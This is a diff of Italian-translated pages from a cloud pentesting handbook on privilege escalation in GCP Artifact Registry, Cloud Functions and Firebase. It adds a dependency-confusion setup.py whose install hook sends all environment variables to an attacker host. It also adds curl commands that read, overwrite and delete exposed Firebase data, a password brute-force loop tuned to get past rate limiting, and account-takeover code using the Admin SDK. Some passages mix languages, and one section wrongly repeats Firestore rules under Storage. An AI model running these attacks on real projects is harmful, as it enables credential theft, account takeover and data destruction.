> [!CAUTION] -> È stato verificato che è **possibile caricare una nuova immagine docker dannosa** con lo stesso nome e tag di quella già presente, quindi la **vecchia perderà il tag** e la prossima volta che quell'immagine con quel tag **verrà scaricata la dannosa**. +> È stato verificato che è **possibile caricare una nuova immagine docker dannosa** con lo stesso nome e tag di quella già presente, quindi la **vecchia perderà il tag** e la prossima volta che l'immagine con quel tag verrà **scaricata**, sarà scaricata quella dannosa.
-Caricare una libreria Python +Carica una libreria Python **Inizia creando la libreria da caricare** (se puoi scaricare l'ultima versione dal registry puoi evitare questo passaggio): 1. **Configura la struttura del progetto**: -- Crea una nuova directory per la tua libreria, es., `hello_world_library`. -- All'interno di questa directory, crea un'altra directory con il nome del tuo pacchetto, es., `hello_world`. -- All'interno della directory del pacchetto, crea un file `__init__.py`. Questo file può essere vuoto o contenere inizializzazioni per il tuo pacchetto. +- Crea una nuova directory per la tua libreria, ad es. `hello_world_library`. +- All'interno di questa directory, crea un'altra directory con il nome del pacchetto, p.es. `hello_world`. +- All'interno della directory del tuo pacchetto, crea un file `__init__.py`. Questo file può essere vuoto o contenere inizializzazioni per il pacchetto.
Create project structure @@ -57,8 +57,8 @@ touch hello_world/__init__.py 2. **Scrivi il codice della libreria**: -- All'interno della directory `hello_world`, crea un nuovo file Python per il modulo, es., `greet.py`. -- Scrivi la tua funzione "Hello, World!": +- All'interno della directory `hello_world`, crea un nuovo file Python per il modulo, p.es. `greet.py`. +- Scrivi la funzione "Hello, World!":
Create library module @@ -73,8 +73,8 @@ return "Hello, World!" 3. **Crea un file `setup.py`**: -- Alla radice della directory `hello_world_library`, crea un file `setup.py`. -- Questo file contiene i metadati sulla tua libreria e indica a Python come installarla. +- Nella root della directory `hello_world_library`, crea un file `setup.py`. +- Questo file contiene i metadati della libreria e dice a Python come installarla.
Create setup.py file @@ -97,9 +97,9 @@ install_requires=[ **Ora, carichiamo la libreria:** -1. **Costruisci il tuo pacchetto**: +1. **Costruisci il pacchetto**: -- Dalla radice della directory `hello_world_library`, esegui: +- Dalla root della directory `hello_world_library`, esegui:
Build Python package @@ -121,10 +121,10 @@ twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-acce ```
-3. **Pulire la build** +3. **Pulisci la build**
-Pulire gli artefatti della build +Pulisci gli artefatti della build ```bash rm -rf dist build hello_world.egg-info ``` @@ -133,10 +133,10 @@ rm -rf dist build hello_world.egg-info
> [!CAUTION] -> Non è possibile caricare una libreria python con la stessa versione già presente, ma è possibile caricare **versioni maggiori** (o aggiungere un extra **`.0` alla fine** della versione se funziona - non in python però -), oppure **eliminare l'ultima versione e caricarne una nuova** (necessario `artifactregistry.versions.delete`): +> Non è possibile caricare una libreria python con la stessa versione già presente, ma è possibile caricare **versioni maggiori** (o aggiungere un ulteriore **`.0` alla fine** della versione se funziona -non però in python-), o **eliminare l'ultima versione e caricarne una nuova con** (necessario `artifactregistry.versions.delete)`**:** > >
-> Elimina versione dell'artifact +> Delete artifact version > > ```sh > gcloud artifacts versions delete --repository= --location= --package= @@ -146,12 +146,12 @@ rm -rf dist build hello_world.egg-info ### `artifactregistry.repositories.downloadArtifacts` -Con questo permesso puoi **scaricare artifact** e cercare **informazioni sensibili** e **vulnerabilità**. +Con questo permesso puoi **scaricare artifacts** e cercare **informazioni sensibili** e **vulnerabilità**. -Scarica un'immagine **Docker**: +Download a **Docker** image:
-Scarica un'immagine Docker da Artifact Registry +Scarica immagine Docker da Artifact Registry ```sh # Configure docker to use gcloud to authenticate with Artifact Registry gcloud auth configure-docker -docker.pkg.dev @@ -164,13 +164,13 @@ docker pull -docker.pkg.dev///: Scarica una libreria **python**:
-Scarica libreria Python da Artifact Registry +Scarica una libreria Python da Artifact Registry ```bash pip install --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@-python.pkg.dev///simple/" --trusted-host -python.pkg.dev --no-cache-dir ```
-- Cosa succede se un registro remoto e uno standard vengono mescolati in un registro virtuale e un pacchetto esiste in entrambi? Controlla questa pagina: +- Cosa succede se un registry remoto e uno standard sono mescolati in uno virtuale e un pacchetto esiste in entrambi? Consulta questa pagina: {{#ref}} ../gcp-persistence/gcp-artifact-registry-persistence.md @@ -178,10 +178,10 @@ pip install --index-url "https://oauth2accesstoken:$(gcloud auth prin ### `artifactregistry.tags.delete`, `artifactregistry.versions.delete`, `artifactregistry.packages.delete`, (`artifactregistry.repositories.get`, `artifactregistry.tags.get`, `artifactregistry.tags.list`) -Elimina artefatti dal registro, come immagini docker: +Elimina artefatti dal registry, come docker images:
-Elimina immagine Docker da Artifact Registry +Elimina Docker image da Artifact Registry ```bash # Delete a docker image gcloud artifacts docker images delete -docker.pkg.dev///: @@ -190,10 +190,10 @@ gcloud artifacts docker images delete -docker.pkg.dev// -Elimina il repository di Artifact Registry +Elimina Artifact Registry repository ``` gcloud artifacts repositories delete --location= ``` @@ -201,17 +201,72 @@ gcloud artifacts repositories delete --location= ### `artifactregistry.repositories.setIamPolicy` -Un attacker con questa permission potrebbe concedersi i permessi per eseguire alcuni degli attacchi ai repository menzionati in precedenza. +Un attacker con questo permesso potrebbe concedersi permessi per eseguire alcuni degli attacchi ai repository menzionati in precedenza. ### Pivoting to other Services through Artifact Registry Read & Write - **Cloud Functions** -When a Cloud Function is created a new docker image is pushed to the Artifact Registry of the project. Ho provato a modificare l'image con una nuova, e perfino a cancellare l'image corrente (e l'`cache` image) ma nulla è cambiato: la Cloud Function ha continuato a funzionare. Pertanto, potrebbe **essere possibile abusare di un Race Condition attack** come con il bucket per cambiare il container docker che verrà eseguito, ma **semplicemente modificare l'immagine memorizzata non è sufficiente per compromettere la Cloud Function**. +Quando viene creata una Cloud Function, una nuova immagine docker viene caricata nell'Artifact Registry del progetto. Ho provato a modificare l'immagine con una nuova e perfino a cancellare l'immagine corrente (e l'immagine `cache`) ma niente è cambiato: la Cloud Function ha continuato a funzionare. Pertanto, potrebbe essere possibile abusare di una Race Condition come con il bucket per cambiare il container docker che verrà eseguito, ma la semplice modifica dell'immagine memorizzata non è sufficiente per compromettere la Cloud Function. - **App Engine** -Even though App Engine creates docker images inside Artifact Registry. È stato testato che **anche se modifichi l'image dentro questo servizio** e rimuovi l'istanza di App Engine (così ne viene deployata una nuova) il **codice eseguito non cambia**.\ -Potrebbe essere possibile che eseguendo un **Race Condition attack come con i buckets sia possibile sovrascrivere il codice eseguito**, ma questo non è stato testato. +Anche se App Engine crea immagini docker dentro Artifact Registry. È stato testato che anche se modifichi l'immagine all'interno di questo servizio e rimuovi l'istanza di App Engine (così ne viene distribuita una nuova), il codice eseguito non cambia.\ +Potrebbe essere possibile che eseguendo una Race Condition come con i buckets sia possibile sovrascrivere il codice eseguito, ma questo non è stato testato. + + +### `artifactregistry.repositories.update` +Un attacker non ha bisogno di permessi specifici su Artifact Registry per sfruttare questo problema—serve solo una configurazione di virtual repository vulnerabile. Questo accade quando un virtual repository combina un repository remoto pubblico (es. PyPI, npm) con uno interno, e la sorgente remota ha priorità uguale o superiore. Se entrambi contengono un pacchetto con lo stesso nome, il sistema seleziona la versione più alta. L'attacker deve solo conoscere il nome del pacchetto interno e poter pubblicare pacchetti sul corrispondente registry pubblico. + +Con il permesso `artifactregistry.repositories.update`, un attacker potrebbe modificare le impostazioni upstream di un virtual repository per creare intenzionalmente questa configurazione vulnerabile e usare Dependency Confusion come metodo di persistenza inserendo pacchetti malevoli che gli sviluppatori o i sistemi CI/CD potrebbero installare automaticamente. + +L'attacker crea una versione malevola del pacchetto interno nel repository pubblico con un numero di versione più alto. Per i pacchetti Python, questo significa preparare una struttura del pacchetto che imiti quella legittima. +```bash +mkdir /tmp/malicious_package +cd /tmp/malicious_package +PACKAGE_NAME="" +mkdir "$PACKAGE_NAME" +touch "$PACKAGE_NAME/__init__.py" +``` +Viene quindi creato un file setup.py contenente codice malevolo che verrà eseguito durante l'installazione. Questo file deve specificare un numero di versione superiore a quello presente nel repository privato. +```bash +cat > setup.py << 'EOF' +import setuptools +from setuptools.command.install import install +import os +import urllib.request +import urllib.parse + +def malicious_function(): +data = dict(os.environ) +encoded_data = urllib.parse.urlencode(data).encode() +url = 'https:///exfil' +req = urllib.request.Request(url, data=encoded_data) +urllib.request.urlopen(req) + +class AfterInstall(install): +def run(self): +install.run(self) +malicious_function() + +setuptools.setup( +name = "", +version = "0.1.1", +packages = [""], +cmdclass={'install': AfterInstall}, +) +EOF +``` +Costruisci il package ed elimina la wheel per garantire che il codice venga eseguito durante l'installazione. +```bash +python3 setup.py sdist bdist_wheel +rm dist/*.whl +``` +Carica il pacchetto malevolo nel repository pubblico (ad esempio, test.pypi.org per Python). +```bash +pip install twine +twine upload --repository testpypi dist/* +``` +Quando un sistema o servizio installa il pacchetto utilizzando il repository virtuale, scaricherà la versione malevola dal repository pubblico anziché da quella interna legittima, perché la versione malevola ha un numero di versione più alto e il repository remoto ha priorità uguale o superiore. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md index 86961e30a..508f3793b 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md @@ -4,7 +4,7 @@ ## cloudfunctions -Maggiori informazioni su Cloud Functions: +More information about Cloud Functions: {{#ref}} ../gcp-services/gcp-cloud-functions-enum.md @@ -12,21 +12,19 @@ Maggiori informazioni su Cloud Functions: ### `cloudfunctions.functions.create` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs` -Un attacker con questi privilegi può **creare una nuova Cloud Function con codice arbitrario (maligno) e assegnarle un Service Account**. Successivamente, leak the Service Account token dalla metadata per elevare i privilegi su di esso.\ -Alcuni privilegi per triggerare la function potrebbero essere richiesti. +Un attaccante con questi privilegi può **create a new Cloud Function with arbitrary (malicious) code and assign it a Service Account**. Then, leak the Service Account token from the metadata to escalate privileges to it.\ +Potrebbero essere necessari alcuni privilegi per attivare la funzione. -Exploit scripts per questo metodo si trovano [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) and [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) and the prebuilt .zip file can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions). +Exploit scripts for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) and [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) and the prebuilt .zip file can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions). ### `cloudfunctions.functions.update` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs` -Un attacker con questi privilegi può **modificare il codice di una Function e persino modificare il service account associato** con l'obiettivo di exfiltrating il token. +Un attaccante con questi privilegi può **modify the code of a Function and even modify the service account attached** con l'obiettivo di esfiltrare il token. > [!CAUTION] -> Per poter deployare le cloud functions è inoltre necessario avere i permessi actAs sul default compute service account o sul service account usato per buildare l'immagine. +> In order to deploy cloud functions you will also need actAs permissions over the default compute service account or over the service account that is used to build the image. -Alcuni privilegi extra come la permission `.call` per version 1 cloudfunctions o il ruolo `role/run.invoker` per trigger the function potrebbero essere richiesti. - -
Aggiornare una Cloud Function con codice maligno per exfiltrate il service account token +Potrebbero essere richiesti privilegi aggiuntivi come il permesso `.call` per la versione 1 di cloudfunctions o il ruolo `role/run.invoker` per invocare la funzione. ```bash # Create new code temp_dir=$(mktemp -d) @@ -56,18 +54,14 @@ gcloud functions deploy \ # Get SA token calling the new function code gcloud functions call ``` -
- > [!CAUTION] -> Se ricevi l'errore `Permission 'run.services.setIamPolicy' denied on resource...` è perché stai usando il parametro `--allow-unauthenticated` e non hai permessi sufficienti per questo. +> Se ricevi l'errore `Permission 'run.services.setIamPolicy' denied on resource...` è perché stai usando il parametro `--allow-unauthenticated` e non hai i permessi sufficienti per farlo. -Lo script di exploit per questo metodo può essere trovato [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py). +Lo script di exploit per questo metodo si trova [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py). ### `cloudfunctions.functions.sourceCodeSet` -Con questo permesso puoi ottenere un **signed URL per poter caricare un file nel bucket della funzione (ma il codice della funzione non verrà modificato, devi comunque aggiornarlo)** - -
Generate signed upload URL for Cloud Function +Con questo permesso puoi ottenere un **URL firmato che permette di caricare un file in un bucket della funzione (ma il codice della funzione non verrà cambiato, devi comunque aggiornarlo)** ```bash # Generate the URL curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \ @@ -75,40 +69,51 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca -H "Content-Type: application/json" \ -d '{}' ``` -
- -Non sono davvero sicuro di quanto sia utile solo questo permesso dal punto di vista di un attacker, ma è comunque utile saperlo. +Non sono davvero sicuro di quanto possa essere utile solo questo permesso dal punto di vista di un attaccante, ma è bene saperlo. ### `cloudfunctions.functions.setIamPolicy` , `iam.serviceAccounts.actAs` -Concediti uno qualsiasi dei precedenti privilegi **`.update`** o **`.create`** per effettuare l'escalation. - +Concediti uno qualsiasi dei precedenti privilegi **`.update`** o **`.create`** per eseguire l'elevazione dei privilegi. +```bash +gcloud functions add-iam-policy-binding \ +--region= \ +--member="" \ +--role="roles/cloudfunctions.invoker" +``` ### `cloudfunctions.functions.update` -Avere solo i permessi **`cloudfunctions`**, senza **`iam.serviceAccounts.actAs`**, non ti permetterà di aggiornare la funzione — QUINDI QUESTO NON È UN VALID PRIVESC. +Avendo solo le autorizzazioni **`cloudfunctions`**, senza **`iam.serviceAccounts.actAs`** non potrai aggiornare la funzione, QUINDI QUESTO NON È UN PRIVESC VALIDO. -### Read & Write Access over the bucket +### Invocare funzioni +Con le autorizzazioni `cloudfunctions.functions.get`, `cloudfunctions.functions.invoke`, `run.jobs.run`, e run.routes.invoke, un'identità può invocare direttamente Cloud Functions. È inoltre necessario che la funzione consenta traffico pubblico, oppure che il chiamante si trovi nella stessa rete della funzione stessa. +```bash +curl -X POST "https://" \ +-H "Authorization: bearer $(gcloud auth print-identity-token)" \ +-H "Content-Type: application/json" \ +-d '{ "name": "Developer" }' +``` +### Accesso in lettura e scrittura sul bucket -Se hai accesso in lettura e scrittura sul bucket puoi monitorare le modifiche al codice e, ogni volta che avviene un **update nel bucket puoi sostituire il nuovo codice con il tuo codice** così la nuova versione della Cloud Function verrà eseguita con il codice backdoored che hai caricato. +Se hai accesso in lettura e scrittura sul bucket puoi monitorare le modifiche al codice e, ogni volta che **avviene un aggiornamento nel bucket, puoi sostituire il nuovo codice con il tuo**, in modo che la nuova versione della Cloud Function venga eseguita con il codice backdoored inviato. -Puoi approfondire l'attacco in: +You can check more about the attack in: {{#ref}} gcp-storage-privesc.md {{#endref}} -Tuttavia, non puoi usare questo per pre-compromettere Cloud Functions di terzi perché se crei il bucket nel tuo account e gli dai permessi pubblici in modo che il progetto esterno possa scriverci sopra, ottieni il seguente errore: +Tuttavia, non puoi usare questo per pre-compromettere Cloud Functions di terzi perché se crei il bucket nel tuo account e gli concedi permessi pubblici in modo che il progetto esterno possa scriverci sopra, ricevi il seguente errore:
> [!CAUTION] -> Tuttavia, questo potrebbe essere usato per attacchi DoS. +> Tuttavia, questo potrebbe essere usato per DoS attacks. -### Read & Write Access over Artifact Registry +### Accesso in lettura e scrittura su Artifact Registry -Quando viene creata una Cloud Function, una nuova docker image viene pushata nell'Artifact Registry del progetto. Ho provato a modificare l'immagine con una nuova, e persino cancellare l'immagine corrente (e l'immagine di `cache`) e nulla è cambiato: la Cloud Function ha continuato a funzionare. Pertanto, potrebbe **essere possibile abusare di una Race Condition attack** come con il bucket per cambiare il container docker che verrà eseguito, ma **modificare semplicemente l'immagine salvata non è possibile per compromettere la Cloud Function**. +Quando viene creata una Cloud Function, una nuova immagine docker viene inviata all'Artifact Registry del progetto. Ho provato a modificare l'immagine con una nuova, e persino a eliminare l'immagine corrente (e l'immagine `cache`) ma nulla è cambiato: la Cloud Function ha continuato a funzionare. Pertanto, potrebbe essere **possibile abusare di una Race Condition attack** come con il bucket per cambiare il docker container che verrà eseguito, ma **modificando soltanto l'immagine memorizzata non è possibile compromettere la Cloud Function**. -## References +## Riferimenti - [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md new file mode 100644 index 000000000..e3c85241b --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md @@ -0,0 +1,444 @@ +# GCP - Firebase Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## Firebase + +### Accesso non autenticato a Firebase Realtime Database +Un attaccante non necessita di permessi Firebase specifici per eseguire questo attacco. È sufficiente che ci sia una configurazione vulnerabile nelle regole di sicurezza di Firebase Realtime Database, dove le regole sono impostate con `.read: true` o `.write: true`, consentendo accesso pubblico in lettura o scrittura. + +L'attaccante deve identificare l'URL del database, che tipicamente segue il formato: `https://.firebaseio.com/`. + +Questo URL può essere trovato tramite mobile application reverse engineering (decompiling Android APKs o analyzing iOS apps), analizzando file di configurazione come google-services.json (Android) o GoogleService-Info.plist (iOS), ispezionando il codice sorgente di applicazioni web, o esaminando il traffico di rete per identificare richieste verso domini `*.firebaseio.com`. + +L'attaccante identifica l'URL del database e verifica se è esposto pubblicamente, quindi accede ai dati e, eventualmente, scrive informazioni malevole. + +Per prima cosa verifica se il database permette l'accesso in lettura aggiungendo .json all'URL. +```bash +curl https://-default-rtdb.firebaseio.com/.json +``` +Se la risposta contiene dati JSON o null (invece di "Permission Denied"), il database consente l'accesso in lettura. Per verificare l'accesso in scrittura, l'attaccante può tentare di inviare una richiesta di scrittura di prova usando la Firebase REST API. +```bash +curl -X PUT https://-default-rtdb.firebaseio.com/test.json -d '{"test": "data"}' +``` +Se l'operazione ha successo, il database consente anche write access. + +### Esposizione dei dati in Cloud Firestore +Un attacker non ha bisogno di permessi Firebase specifici per eseguire questo attacco. Richiede solo che esista una configurazione vulnerabile nelle regole di sicurezza di Cloud Firestore dove le regole consentono read or write access senza autenticazione o con validazione insufficiente. Un esempio di regola mal configurata che concede l'accesso completo è: +```bash +service cloud.firestore { +match /databases/{database}/documents/{document=**} { +allow read, write: if true; +} +} +``` +Questa regola permette a chiunque di leggere e scrivere tutti i documenti senza alcuna restrizione. Le Firestore rules sono granulari e si applicano per collection e document, quindi un errore in una regola specifica può esporre solo certe collection. + +L'attacker deve identificare il Firebase Project ID, che può essere trovato tramite mobile app reverse engineering, l'analisi di file di configurazione come google-services.json o GoogleService-Info.plist, l'ispezione del source code di web applications, o l'analisi del network traffic per identificare richieste a firestore.googleapis.com. +La Firestore REST API usa il formato: +```bash +https://firestore.googleapis.com/v1/projects//databases/(default)/documents// +``` +Se le regole consentono l'accesso in sola lettura senza autenticazione, l'attaccante può leggere collections e documents. Per prima cosa, tenta di accedere a una collection specifica: +```bash +curl https://firestore.googleapis.com/v1/projects//databases/(default)/documents/ +``` +Se la risposta contiene documenti JSON invece di un errore di autorizzazione, la collection è esposta. L'attaccante può enumerare tutte le collection accessibili provando nomi comuni o analizzando la struttura dell'applicazione. Per accedere a un documento specifico: +```bash +curl https://firestore.googleapis.com/v1/projects//databases/(default)/documents// +``` +Se le regole consentono unauthenticated write access o presentano una validazione insufficiente, l'attaccante può creare nuovi documenti: +```bash +curl -X POST https://firestore.googleapis.com/v1/projects//databases/(default)/documents/ \ +-H "Content-Type: application/json" \ +-d '{ +"fields": { +"name": {"stringValue": "Test"}, +"email": {"stringValue": "test@example.com"} +} +}' +``` +Per modificare un documento esistente si deve usare PATCH: +```bash +curl -X PATCH https://firestore.googleapis.com/v1/projects//databases/(default)/documents/users/ \ +-H "Content-Type: application/json" \ +-d '{ +"fields": { +"role": {"stringValue": "admin"} +} +}' +``` +Per eliminare un documento e causare un denial of service: +```bash +curl -X DELETE https://firestore.googleapis.com/v1/projects//databases/(default)/documents// +``` +### Esposizione di file in Firebase Storage +Un attacker non ha bisogno di permessi specifici di Firebase per portare a termine questo attacco. Serve solamente che ci sia una configurazione vulnerabile nelle security rules di Firebase Storage in cui le regole permettono read o write access senza autenticazione o con validazione insufficiente. Le Storage rules controllano i permessi di read e write in modo indipendente, quindi un errore in una regola può esporre solo il read access, solo il write access o entrambi. Un esempio di regola mal configurata che concede accesso completo è: +```bash +service cloud.firestore { +match /databases/{database}/documents/{document=**} { +allow read, write: if true; +} +} +``` +Questa regola consente l'accesso in lettura e scrittura a tutti i documenti senza alcuna restrizione. Le regole di Firestore sono granulari e vengono applicate per collezione e per documento, quindi un errore in una regola specifica può esporre solo determinate collezioni. L'attaccante deve identificare il Firebase Project ID, che può essere trovato tramite mobile application reverse engineering, analisi di file di configurazione come google-services.json o GoogleService-Info.plist, ispezione del codice sorgente dell'applicazione web, o network traffic analysis per identificare richieste a firestore.googleapis.com. +La Firestore REST API usa il formato: `https://firestore.googleapis.com/v1/projects//databases/(default)/documents//.` + +Se le regole permettono accesso in lettura non autenticato, l'attaccante può leggere collezioni e documenti. Per prima cosa, tenta di accedere a una specifica collezione. +```bash +curl "https://firebasestorage.googleapis.com/v0/b//o" +curl "https://firebasestorage.googleapis.com/v0/b//o?prefix=" +``` +Se la risposta contiene l'elenco dei file invece di un errore di autorizzazione, il file è esposto. L'attacker può visualizzare il contenuto dei file specificando il loro percorso: +```bash +curl "https://firebasestorage.googleapis.com/v0/b//o/" +``` +Se le regole consentono accesso in scrittura non autenticato o prevedono una validazione insufficiente, l'attaccante può caricare file dannosi. Per caricare un file attraverso la REST API: +```bash +curl -X POST "https://firebasestorage.googleapis.com/v0/b//o?name=" \ +-H "Content-Type: " \ +--data-binary @ +``` +L'attaccante può caricare code shells, malware payloads o file di grandi dimensioni per causare un denial of service. Se l'applicazione elabora o esegue i file caricati, l'attaccante può ottenere remote code execution. Per eliminare file e causare un denial of service: +```bash +curl -X DELETE "https://firebasestorage.googleapis.com/v0/b//o/" +``` +### Invocazione di Firebase Cloud Functions pubbliche +An attacker non ha bisogno di permessi Firebase specifici per sfruttare questo problema; è sufficiente che una Cloud Function sia accessibile pubblicamente via HTTP senza autenticazione. + +Una function è vulnerabile quando è configurata in modo insicuro: + +- Usa functions.https.onRequest, che non applica l'autenticazione (a differenza delle onCall functions). +- Il codice della function non valida l'autenticazione dell'utente (es. nessun controllo su request.auth o context.auth). +- La function è accessibile pubblicamente in IAM, ovvero allUsers ha il ruolo roles/cloudfunctions.invoker. Questo è il comportamento predefinito per le HTTP functions a meno che lo sviluppatore non limiti l'accesso. + +Firebase HTTP Cloud Functions sono esposte tramite URL come: + +- https://-.cloudfunctions.net/ +- https://.web.app/ (when integrated with Firebase Hosting) + +Un attacker può scoprire questi URL tramite analisi del codice sorgente, ispezione del traffico di rete, enumeration tools, o mobile app reverse engineering. +Se la function è esposta pubblicamente e non autenticata, l'attacker può invocarla direttamente senza credenziali. +```bash +# Invoke public HTTP function with GET +curl "https://-.cloudfunctions.net/" +# Invoke public HTTP function with POST and data +curl -X POST "https://-.cloudfunctions.net/" \ +-H "Content-Type: application/json" \ +-d '{"param1": "value1", "param2": "value2"}' +``` +Se la funzione non valida correttamente gli input, l'attaccante può tentare altri attacchi come code injection o command injection. + +### Brute-force attack against Firebase Authentication with a weak password policy +An attacker does not need any specific Firebase permissions to carry out this attack. It only requires that the Firebase API Key is exposed in mobile or web applications, and that the password policy has not been configured with stricter requirements than the defaults. + +L'attaccante deve individuare la Firebase API Key, che può essere trovata tramite mobile app reverse engineering, l'analisi di file di configurazione come google-services.json o GoogleService-Info.plist, ispezionando il codice sorgente di applicazioni web (es., in bootstrap.js), o analizzando il traffico di rete. + +Firebase Authentication’s REST API uses the endpoint: +`https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=` +to authenticate with email and password. + +Se Email Enumeration Protection è disabilitato, le risposte di errore dell'API possono rivelare se una email esiste nel sistema (EMAIL_NOT_FOUND vs. INVALID_PASSWORD), il che permette agli attaccanti di enumerare gli utenti prima di tentare il guessing delle password. Quando questa protezione è abilitata, l'API restituisce lo stesso messaggio di errore sia per email inesistenti sia per password errate, impedendo l'enumerazione degli utenti. + +È importante notare che Firebase Authentication applica il rate limiting, che può bloccare le richieste se troppe istanze di autenticazione avvengono in un breve periodo. Per questo motivo, un attaccante dovrebbe introdurre dei ritardi tra i tentativi per evitare di essere soggetto a rate limiting. + +L'attaccante individua l'API Key e esegue tentativi di autenticazione con più password contro account noti. Se Email Enumeration Protection è disabilitato, l'attaccante può enumerare gli utenti esistenti analizzando le risposte di errore: +```bash +# Attempt authentication with a known email and an incorrect password +curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=" \ +-H "Content-Type: application/json" \ +-d '{ +"email": "usuario@example.com", +"password": "password", +"returnSecureToken": true +}' +``` +Se la risposta contiene EMAIL_NOT_FOUND, l'email non esiste nel sistema. Se contiene INVALID_PASSWORD, l'email esiste ma la password è errata, confermando che l'utente è registrato. Una volta identificato un utente valido, l'attaccante può effettuare tentativi di brute-force. È importante includere pause tra i tentativi per evitare i meccanismi di rate-limiting di Firebase Authentication: +```bash +counter=1 +for password in $(cat wordlist.txt); do +echo "Intento $counter: probando contraseña '$password'" +response=$(curl -s -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=" \ +-H "Content-Type: application/json" \ +-d "{\"email\":\"usuario@example.com\",\"password\":\"$password\",\"returnSecureToken\":true}") + +if echo "$response" | grep -q "idToken"; then +echo "Contraseña encontrada: $password (intento $counter)" +break +fi + +# Stop for the rate limiting +sleep 1 +counter=$((counter + 1)) +done +``` +Con la default password policy (minimum 6 characters, no complexity requirements), l'attaccante può provare tutte le combinazioni possibili di password di 6 caratteri, che rappresentano uno spazio di ricerca relativamente piccolo rispetto a policy di password più rigide. + +### Gestione utenti in Firebase Authentication + +L'attacker ha bisogno di permessi specifici di Firebase Authentication per eseguire questo attacco. I permessi richiesti sono: + +- `firebaseauth.users.create` per creare utenti +- `firebaseauth.users.update` per modificare utenti esistenti +- `firebaseauth.users.delete` per cancellare utenti +- `firebaseauth.users.get` per recuperare informazioni sugli utenti +- `firebaseauth.users.sendEmail` per inviare email agli utenti +- `firebaseauth.users.createSession` per creare sessioni utente + +Questi permessi sono inclusi nel ruolo `roles/firebaseauth.admin`, che concede accesso completo in lettura/scrittura alle risorse di Firebase Authentication. Sono inclusi anche in ruoli di livello superiore come roles/firebase.developAdmin (che include tutti i permessi firebaseauth.*) e roles/firebase.admin (accesso completo a tutti i servizi Firebase). + +Per usare la Firebase Admin SDK, l'attacker avrebbe bisogno dell'accesso alle service account credentials (JSON file), che potrebbero essere trovate su sistemi compromessi, repository di codice esposti pubblicamente, sistemi CI/CD compromessi, o tramite il compromesso di account developer che hanno accesso a queste credenziali. + +Il primo passo è configurare la Firebase Admin SDK usando le service account credentials. +```bash +import firebase_admin +from firebase_admin import credentials, auth +cred = credentials.Certificate('path/to/serviceAccountKey.json') +firebase_admin.initialize_app(cred) +``` +Per creare un utente maligno usando l'email di una vittima, l'attaccante cercherebbe di utilizzare il Firebase Admin SDK per generare un nuovo account con quell'email. +```bash +user = auth.create_user( +email='victima@example.com', +email_verified=False, +password='password123', +display_name='Usuario Malicioso', +disabled=False +) +print(f'Usuario creado: {user.uid}') +``` +Per modificare un utente esistente, l'attaccante aggiornerebbe campi come l'indirizzo email, lo stato di verifica o se l'account è disabilitato. +```bash +user = auth.update_user( +uid, +email='nuevo-email@example.com', +email_verified=True, +disabled=False +) +print(f'Usuario actualizado: {user.uid}') +``` +Per eliminare un account utente e provocare un denial of service, l'attaccante invierebbe una richiesta per rimuovere completamente l'utente. +```bash +auth.delete_user(uid) +print('Usuario eliminado exitosamente') +``` +L'attaccante può anche recuperare informazioni sugli utenti esistenti richiedendo il loro UID o indirizzo email. +```bash +user = auth.get_user(uid) +print(f'Información del usuario: {user.uid}, {user.email}') +user = auth.get_user_by_email('usuario@example.com') +print(f'Información del usuario: {user.uid}, {user.email}') +``` +Inoltre, l'attaccante potrebbe generare verification links o password-reset links per cambiare la password di un utente e ottenere l'accesso al suo account. +```bash +link = auth.generate_email_verification_link(email) +print(f'Link de verificación: {link}') +link = auth.generate_password_reset_link(email) +print(f'Link de reset: {link}') +``` +### Gestione utenti in Firebase Authentication +Un attacker ha bisogno di permessi specifici di Firebase Authentication per eseguire questo attacco. I permessi richiesti sono: + +- `firebaseauth.users.create` to create users +- `firebaseauth.users.update` to modify existing users +- `firebaseauth.users.delete` to delete users +- `firebaseauth.users.get` to obtain user information +- `firebaseauth.users.sendEmail` to send emails to users +- `firebaseauth.users.createSession` to create user sessions + +Questi permessi sono inclusi nel ruolo `roles/firebaseauth.admin`, che concede pieno accesso in lettura/scrittura alle risorse di Firebase Authentication. 